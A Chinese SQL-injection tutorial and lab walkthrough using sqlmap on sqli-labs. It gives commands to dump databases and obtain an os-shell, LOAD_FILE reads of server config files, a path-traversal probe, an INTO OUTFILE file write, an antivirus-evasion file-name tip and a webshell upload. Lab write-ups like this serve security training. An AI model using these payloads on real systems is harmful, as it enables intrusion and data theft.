【渗透测试】SQLmap实战:一键获取MySQL数据库权限
注:所有技术仅用于合法安全测试与防御研究,未经授权的攻击行为属违法犯罪,将承担法律责任。
一、SQLmap常规用法
注意存放路径:C:\Users\neo\AppData\Local\sqlmap\output
1、列出详细过程和数据库列表
sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch
2、指定一个数据库获取表名:
sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch -D security --tables
3、指定表名获取字段名称
sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch -D security -T users --columns
4、获取指定数据库下指定数据表中的所有数据
sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch -D security -T users --dump
#注意存放路径:C:\Users\neo\AppData\Local\sqlmap\output\目标\dump\数据库名称
5、dump所有数据(不建议:提示大于3条包吃包住)
sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch --dump
二、针对 MySQL 的 os-shell 使用方法
1. 基本命令
检测注入点并尝试获取 os-shell:
sqlmap -u "http://example.com/page.php?id=1" -dbs --os-shell
指定 MySQL 注入点: 如果已知目标是 MySQL 数据库,可以使用--dbms
参数指定,提高效率:
sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell
2. 针对 MySQL 的高级参数
指定 MySQL 配置: 如果已知 MySQL 的一些配置信息,可以直接指定以提高成功率:
sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --mysql-db=test --mysql-user=root
强制使用文件写入方式: 如果直接执行方式失败,可以强制 SQLMap 使用文件写入方式:
sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --force-direct=0
指定 Web 目录: 手动指定已知的 Web 目录路径:
sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --web-root="/var/www/html"
指定临时脚本文件名: 自定义临时 PHP 脚本文件名,避免被安全软件检测:
sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --file-name="img.php"
三、获取 MySQL 环境 Web 目录的方法
1. 通过 MySQL 系统变量
查询数据目录:
SELECT @@datadir;
该命令返回 MySQL 数据文件存储目录,如/var/lib/mysql/
,可结合服务器类型猜测 Web 目录。
查询配置文件路径:
SELECT @@basedir;
返回 MySQL 安装目录,通常为/usr/local/mysql/
或C:\Program Files\MySQL\MySQL Server 5.7\
。
2. 读取 Web 服务器配置文件
如果拥有足够权限,可以直接读取 Web 服务器配置文件获取 DocumentRoot:
读取 Apache 配置:
SELECT LOAD_FILE('/etc/httpd/conf/httpd.conf');
SELECT LOAD_FILE('/etc/apache2/apache2.conf');
读取 Nginx 配置:
SELECT LOAD_FILE('/etc/nginx/nginx.conf');
SELECT LOAD_FILE('/usr/local/nginx/conf/nginx.conf');
Windows 系统:
SELECT LOAD_FILE('C:/Program Files/Apache Group/Apache2/conf/httpd.conf');
SELECT LOAD_FILE('C:/nginx/conf/nginx.conf');
在配置文件中搜索DocumentRoot
(Apache)或root
(Nginx)即可找到 Web 根目录。
3. 利用错误信息泄露
通过构造特殊请求触发 MySQL 错误,获取路径信息:
文件包含尝试:
http://example.com/index.php?id=../../../../../../etc/passwd
如果应用程序直接将参数传递给 MySQL 查询,可能返回包含 Web 目录的错误信息:
Warning: include(../../../../../../etc/passwd) failed to open stream: No such file or directory in /var/www/html/index.php on line 20
4. 写入探针文件
如果拥有 FILE 权限,可以写入一个包含 PHP 信息的探针文件:
SELECT '<?php phpinfo(); ?>' INTO OUTFILE '/var/www/html/phpinfo.php';
访问http://example.com/phpinfo.php
,在_SERVER["DOCUMENT_ROOT"]
字段可以找到 Web 根目录。
四、OS-Shell靶场实例
来到SQLI靶场第一关
启动sqlmap工具,先扫一下靶场的数据库,留做记录
python sqlmap.py -u http://bachang/sqli-labs-master/Less-1/?id=1 --dbs
在使用 sqlmap 的 --os-shell
功能时,结合 Burp Suite(简称 BP)抓包分析可以清晰观察 sqlmap 与目标服务器的交互过程,理解其如何利用 SQL 注入漏洞执行系统命令。
在SQLI靶场第一关,找到传参点,使用BP抓包
将抓到的包请求保存到文件;less-1.txt中,然后放进SQLmap工具中跑包
python sqlmap.py -r "C:\Users\User\Desktop\less-1.txt" -dbms=mysql --os-shell
获取靶场第一关的MySQL 数据文件存储目录:C:\Users\ruanjian\phpstudy_pro\Extensions\MySQL5.7.26\data\
?id=-1' UNION SELECT 1,@@datadir,3 --+
通过回显结果可以知道,靶场网站是借助小皮工具搭建的,那么第一关的Web可写路径就是:
C:\Users\ruanjian\phpstudy_pro\WWW\bachang
在SQLmap工具中,选择2,手动指定自定义的 Web 可写目录路径。
解决权限问题后,重启SQLmap工具
这里获得了两个url,访问第一个url, 可以看到最下方有文件上传的位置,在这里我们可以上传一句话木马。。
打开蚁剑连接,测试连接成功。
总结:sqlmap --os-shell 的使用需要以下条件。
①知道网站的物理路径。
②网站路径具有写入的权限。
③sqlmap能够跑出数据库。
注:所有技术仅用于合法安全测试与防御研究,未经授权的攻击行为属违法犯罪,将承担法律责任。